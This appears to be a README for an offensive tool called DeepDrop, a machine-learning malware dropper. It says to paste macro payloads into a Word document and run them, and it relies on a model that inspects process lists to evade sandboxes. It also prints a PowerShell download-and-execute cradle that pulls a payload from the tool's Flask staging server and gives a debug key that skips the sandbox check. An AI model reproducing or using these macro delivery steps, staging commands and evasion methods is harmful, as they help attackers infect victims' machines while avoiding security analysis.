Machine learning enabled dropper
pip install -r requirements.txt
python deepdrop.py
Copy paste the payload (core\macros) into a word doc and run.
λ pip3 install requirements
λ python3 deepdrop.py -d
____ ____
| \ ___ ___ ___| \ ___ ___ ___
| | | -_| -_| . | | | _| . | . |
|____/|___|___| _|____/|_| |___| _|
|_| |_|
[-] All models loaded
[-] Routes loaded
[-] Payloads patched for localhost
[DBG] ece9d57d-ef30-47ed-accb-46ea3c436257
* Serving Flask app "deepdrop" (lazy loading)
Passing -d\--debug to deepdrop will give back a key that can be used to bypass the sandbox check for testing payloads. powershell.exe -c "iex (new-object net.webclient).downloadstring('http://localhost/ece9d57d-ef30-47ed-accb-46ea3c436257')". Otherwise, submitting a process list and getting a decision from the model is the only way to get a payload executed.
Currently only powershell staging is implemented.
Implemented in Jupyter notebooks